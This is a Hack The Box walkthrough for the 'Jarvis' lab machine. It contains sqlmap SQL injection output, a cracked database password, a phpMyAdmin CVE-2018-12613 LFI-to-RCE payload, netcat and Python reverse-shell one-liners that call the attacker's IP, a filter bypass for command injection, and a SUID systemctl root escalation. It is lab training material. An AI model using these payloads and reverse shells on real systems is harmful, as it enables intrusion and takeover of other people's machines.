Hack the Box Walkthrough: Jarvis

  about 2477 words  12 min 

Overview

This post provides a walkthrough of the Jarvis system on Hack The Box. This walktrough, in entirety, is a spoiler.

I create these walkthroughs as documentation for myself while working through a system; excuse any brevity or lack of formality. I’ve uploaded this walkthrough to help those that may be stuck.

Service Enumeration

To kick things off, we start with some service discovery to figure out what is actually running on this box.

Nmap Scan

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
Starting Nmap 7.80 ( https://nmap.org ) at 2019-10-24 21:55 EDT
[snip]
PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
| ssh-hostkey: 
|   2048 03:f3:4e:22:36:3e:3b:81:30:79:ed:49:67:65:16:67 (RSA)
|   256 25:d8:08:a8:4d:6d:e8:d2:f8:43:4a:2c:20:c8:5a:f6 (ECDSA)
|_  256 77:d4:ae:1f:b0:be:15:1f:f8💿c8:15:3a:c3:69:e1 (ED25519)
80/tcp    open  http    Apache httpd 2.4.25 ((Debian))
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Stark Hotel
64999/tcp open  http    Apache httpd 2.4.25 ((Debian))
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Site doesn't have a title (text/html).
[snip]

Web Server on TCP/80

There is a web server on this port running some kind of Stark Hotel mock hotel web app.

  • you can check out the room types
  • you can see pictures

After some digging around I noticed that there was really only one single GET parameter called cod being passed to the room.php resource.

I did a quick probe with sqlmap to see if the parameter was injectable:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
# sqlmap -u http://10.10.10.143/room.php?cod=1
        ___
       __H__
 ___ ___["]_____ ___ ___  {1.3.8#stable}
|_ -| . [(]     | .'| . |
|___|_  [,]_|_|_|__,|  _|
      |_|V...       |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 23:59:57 /2019-10-22/

[23:59:57] [INFO] testing connection to the target URL
[23:59:57] [INFO] checking if the target is protected by some kind of WAF/IPS
[23:59:57] [INFO] testing if the target URL content is stable
[23:59:58] [INFO] target URL content is stable
[23:59:58] [INFO] testing if GET parameter 'cod' is dynamic
[23:59:58] [INFO] GET parameter 'cod' appears to be dynamic
[23:59:58] [INFO] heuristic (basic) test shows that GET parameter 'cod' might be injectable
[23:59:58] [INFO] testing for SQL injection on GET parameter 'cod'
[23:59:58] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[23:59:58] [INFO] GET parameter 'cod' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable (with --string="of")
[00:00:00] [INFO] heuristic (extended) test shows that the back-end DBMS could be 'MySQL' 
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] y

Confirmed the parameter was injectable. Retrieving the password for the database account:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
root@kali:/usr/share/wfuzz/wordlist# sqlmap -u http://10.10.10.143/room.php?cod=1 --passwords
        ___
       __H__
 ___ ___[(]_____ ___ ___  {1.3.8#stable}
|_ -| . [)]     | .'| . |
|___|_  [)]_|_|_|__,|  _|
      |_|V...       |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 00:00:53 /2019-10-23/

[00:00:53] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian 9.0 (stretch)
web application technology: PHP, Apache 2.4.25
back-end DBMS: MySQL >= 5.0.12
[00:00:53] [INFO] fetching database users password hashes
[00:00:53] [INFO] used SQL query returns 1 entry
[00:00:54] [INFO] used SQL query returns 1 entry
do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] y
[00:00:58] [INFO] writing hashes to a temporary file '/tmp/sqlmaphET2ZP3833/sqlmaphashes-VBcM6S.txt' 
do you want to perform a dictionary-based attack against retrieved password hashes? [Y/n/q] n
database management system users password hashes:
[*] DBadmin [1]:
    password hash: *2D2B7A5E4E637B8FBA1D17F40318F277D29964D0

[00:01:05] [INFO] fetched data logged to text files under '/root/.sqlmap/output/10.10.10.143'
[00:01:05] [WARNING] you haven't updated sqlmap for more than 81 days!!!

[*] ending @ 00:01:05 /2019-10-23/

I cracked the password hash using an online password cracker, attaining the DBadmin / imissyou credential set.

In parallel, I was running dirbuster to identify any potential directories of interest outside of the main web app. I found that phpmyadmin was running at http://10.10.10.143/phpmyadmin. Having already attained the database credentials, I went ahead and used the aforementioned credentials to log in to phpmyadmin

phpMyadmin

Upon logging in I ascertained that the system was running phpmyadmin 4.8.0 . I did some quick searching and quickly found that there was an LFI vulnerability that could be turned in to an RCE. More details about this vulnerability (CVE-2018-12613) are available at:

The following steps would be taken:

  • within phpmyadmin you execute the following query:
    • select '<?php echo"ready2roll";shell_exec("netcat -e /bin/sh 10.10.14.11 4666");?>'
  • then you trigger the execution of this code by visiting:
    • http://10.10.10.143/phpmyadmin/index.php?target=db_sql.php?/../../../../../../../../var/lib/php/sessions/sess_[*PHPSESSID*]
      • Where PHPSESSID is the actual value of the current authenticated PHPSESSID cookie

The above will trigger a reverse shell to be executed and established as the www-data user.

Shell as www-data

I spent a good bit of time looking around the box and enumerating different local privilege escalation paths. I did this manually and with the typical linux enumeration checker scripts found on GitHub and the like.

I noticed that root was running an interesting process of python3 sqli_defender.py. I thought this might be related to something so I ran find . -name "*.py" to look for any kind of python files that sort of stand out. Luckily, one of the first results was /var/www/Admin-Utilities/simpler.py. I reviewed the script and found that it had an obvious command execution challenge.

simpler.py Source Code

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
#!/usr/bin/env python3
from datetime import datetime
import sys
import os
from os import listdir
import re

def show_help():
    message='''
********************************************************
* Simpler   -   A simple simplifier ;)                 *
* Version 1.0                                          *
********************************************************
Usage:  python3 simpler.py [options]

Options:
    -h/--help   : This help
    -s          : Statistics
    -l          : List the attackers IP
    -p          : ping an attacker IP
    '''
    print(message)

def show_header():
    print('''***********************************************
     _                 _                       
 ___(_)_ __ ___  _ __ | | ___ _ __ _ __  _   _ 
/ __| | '_ ` _ \| '_ \| |/ _ \ '__| '_ \| | | |
\__ \ | | | | | | |_) | |  __/ |_ | |_) | |_| |
|___/_|_| |_| |_| .__/|_|\___|_(_)| .__/ \__, |
                |_|               |_|    |___/ 
                                @ironhackers.es
                                
***********************************************
''')

def show_statistics():
    path = '/home/pepper/Web/Logs/'
    print('Statistics\n-----------')
    listed_files = listdir(path)
    count = len(listed_files)
    print('Number of Attackers: ' + str(count))
    level_1 = 0
    dat = datetime(1, 1, 1)
    ip_list = []
    reks = []
    ip = ''
    req = ''
    rek = ''
    for i in listed_files:
        f = open(path + i, 'r')
        lines = f.readlines()
        level2, rek = get_max_level(lines)
        fecha, requ = date_to_num(lines)
        ip = i.split('.')[0] + '.' + i.split('.')[1] + '.' + i.split('.')[2] + '.' + i.split('.')[3]
        if fecha > dat:
            dat = fecha
            req = requ
            ip2 = i.split('.')[0] + '.' + i.split('.')[1] + '.' + i.split('.')[2] + '.' + i.split('.')[3]
        if int(level2) > int(level_1):
            level_1 = level2
            ip_list = [ip]
            reks=[rek]
        elif int(level2) == int(level_1):
            ip_list.append(ip)
            reks.append(rek)
        f.close()
	
    print('Most Risky:')
    if len(ip_list) > 1:
        print('More than 1 ip found')
    cont = 0
    for i in ip_list:
        print('    ' + i + ' - Attack Level : ' + level_1 + ' Request: ' + reks[cont])
        cont = cont + 1
	
    print('Most Recent: ' + ip2 + ' --> ' + str(dat) + ' ' + req)
	
def list_ip():
    print('Attackers\n-----------')
    path = '/home/pepper/Web/Logs/'
    listed_files = listdir(path)
    for i in listed_files:
        f = open(path + i,'r')
        lines = f.readlines()
        level,req = get_max_level(lines)
        print(i.split('.')[0] + '.' + i.split('.')[1] + '.' + i.split('.')[2] + '.' + i.split('.')[3] + ' - Attack Level : ' + level)
        f.close()

def date_to_num(lines):
    dat = datetime(1,1,1)
    ip = ''
    req=''
    for i in lines:
        if 'Level' in i:
            fecha=(i.split(' ')[6] + ' ' + i.split(' ')[7]).split('\n')[0]
            regex = '(\d+)-(.*)-(\d+)(.*)'
            logEx=re.match(regex, fecha).groups()
            mes = to_dict(logEx[1])
            fecha = logEx[0] + '-' + mes + '-' + logEx[2] + ' ' + logEx[3]
            fecha = datetime.strptime(fecha, '%Y-%m-%d %H:%M:%S')
            if fecha > dat:
                dat = fecha
                req = i.split(' ')[8] + ' ' + i.split(' ')[9] + ' ' + i.split(' ')[10]
    return dat, req
			
def to_dict(name):
    month_dict = {'Jan':'01','Feb':'02','Mar':'03','Apr':'04', 'May':'05', 'Jun':'06','Jul':'07','Aug':'08','Sep':'09','Oct':'10','Nov':'11','Dec':'12'}
    return month_dict[name]
	
def get_max_level(lines):
    level=0
    for j in lines:
        if 'Level' in j:
            if int(j.split(' ')[4]) > int(level):
                level = j.split(' ')[4]
                req=j.split(' ')[8] + ' ' + j.split(' ')[9] + ' ' + j.split(' ')[10]
    return level, req
	
def exec_ping():
    forbidden = ['&', ';', '-', '`', '||', '|']
    command = input('Enter an IP: ')
    for i in forbidden:
        if i in command:
            print('Got you')
            exit()
    os.system('ping ' + command)

if __name__ == '__main__':
    show_header()
    if len(sys.argv) != 2:
        show_help()
        exit()
    if sys.argv[1] == '-h' or sys.argv[1] == '--help':
        show_help()
        exit()
    elif sys.argv[1] == '-s':
        show_statistics()
        exit()
    elif sys.argv[1] == '-l':
        list_ip()
        exit()
    elif sys.argv[1] == '-p':
        exec_ping()
        exit()
    else:
        show_help()
        exit()

It felt pretty intuitive that the challenge was to find some kind of way to abuse this script to move on. I also noticed that the script was owned by the pepper user.

1
2
3
4
5
6
7
www-data@jarvis:/var/www/Admin-Utilities$ ls -lha
ls -lha
total 16K
drwxr-xr-x 2 pepper pepper 4.0K Mar  4  2019 .
drwxr-xr-x 4 root   root   4.0K Mar  4  2019 ..
-rwxr--r-- 1 pepper pepper 4.5K Mar  4  2019 simpler.py

During earlier reconnaissance work I noticed there was some log data being written to pepper user’s home folder having to do with web attack logging; this script was meant to parse that output and provide other functionality.

I spent a good bit of time figuring out how to get a shell that didn’t require the use any of the characters filtered by simpler.py. I was doing the testing on a local copy of the script to avoid killing my shell inadvertently. I eventually figured out that I could use command substitution with $() instead of using backticks. Locally I could actually put an arbitrary and complex command in to an environment variable like so:

1
export test=netcat -e /bin/bash 10.10.14.11 5000

and then trigger that command by providing simpler.py -p with $($test) as the input when it asked for an IP address. This didn’t work on Jarvis, and I didn’t explore further why.

Instead, I opted to use a simpler approach and just spawn bash with $(bash)

I also checked to see what sudo rights the www-data user had. Interestingly enough the www-data user was able to sudo as pepper to run the simpler.py script. This was absolute certainty I was on the right path. However, in order to sudo as pepper and execute the script I had to get an interactive shell going.

Getting an Interactive Shell

In order to get the current netcat shell I had to upgraded to a fully interactive shell, I follow the instructions at:

With a fully interactive shell, I could now use the sudo command and execute the attack:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
www-data@jarvis:/var/www/Admin-Utilities$ sudo -u pepper ./simpler.py -p
***********************************************
     _                 _                       
 ___(_)_ __ ___  _ __ | | ___ _ __ _ __  _   _ 
/ __| | '_ ` _ \| '_ \| |/ _ \ '__| '_ \| | | |
\__ \ | | | | | | |_) | |  __/ |_ | |_) | |_| |
|___/_|_| |_| |_| .__/|_|\___|_(_)| .__/ \__, |
                |_|               |_|    |___/ 
                                @ironhackers.es
                                
***********************************************

Enter an IP: $(bash)

This dropped me in to a shell as pepper but I could not actually see any of the output being sent back. This is likely due to the changes that were made to make the previous shell interactive, but I’m not positive. To get around this, I spawned another shell from this existing shell, this time to another port and using python:

1
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.11",5000));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

This got me a successful shell back as pepper:

1
2
3
4
5
6
root@kali:/usr/share/wfuzz/wordlist# netcat -vlp 5000
listening on [any] 5000 ...
10.10.10.143: inverse host lookup failed: Unknown host
connect to [10.10.14.11] from (UNKNOWN) [10.10.10.143] 55918
pepper@jarvis:/var/www/Admin-Utilities$ cd /home

I retrieved the user flag from the user’s home folder:

1
2
3
4
pepper@jarvis:~$ cat user.txt
cat user.txt
2afa36c4f05b37b34259c93551f5c44f
pepper@jarvis:~$ 

Shell as pepper

Now that we are a proper user, let’s establish access through SSH. We don’t know the user’s password and we can’t change it, but we can dump our public SSH key in to the authorized_keys file for the user and SSH in. Works like a charm.

Using LinEnum to enumerate the box with the thorough flag set, I came across interesting output:

1
2
3
[+] Possibly interesting SUID files:
-rwsr-x--- 1 root pepper 174520 Feb 17  2019 /bin/systemctl

Shell as root

It seems that systemctl has both the SUID bit set and is executable by our user pepper. Doing some googling around of how to launch a shell I came across https://gtfobins.github.io and found this command sequence to spawn a shell with systemctrl:

1
2
3
4
TF=$(mktemp)
echo /bin/sh >$TF
chmod +x $TF
sudo SYSTEMD_EDITOR=$TF systemctl edit system.slice

I modified the last line to remove the sudo as it wasn’t needed given the permissions set (SUID) on systemctl. I was then able to get a root shell and retrieve the root flag:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
pepper@jarvis:~$ TF=$(mktemp)
pepper@jarvis:~$ echo /bin/sh >$TF
pepper@jarvis:~$ chmod +x $TF
pepper@jarvis:~$ SYSTEMD_EDITOR=$TF systemctl edit system.slice
# whoami
root
# cd /root
# ls
clean.sh  root.txt  sqli_defender.py
# cat clean.sh
#!/bin/bash
> /var/log/apache2/access.log
# cat root.txt
d41d8cd98f00b204e9800998ecf84271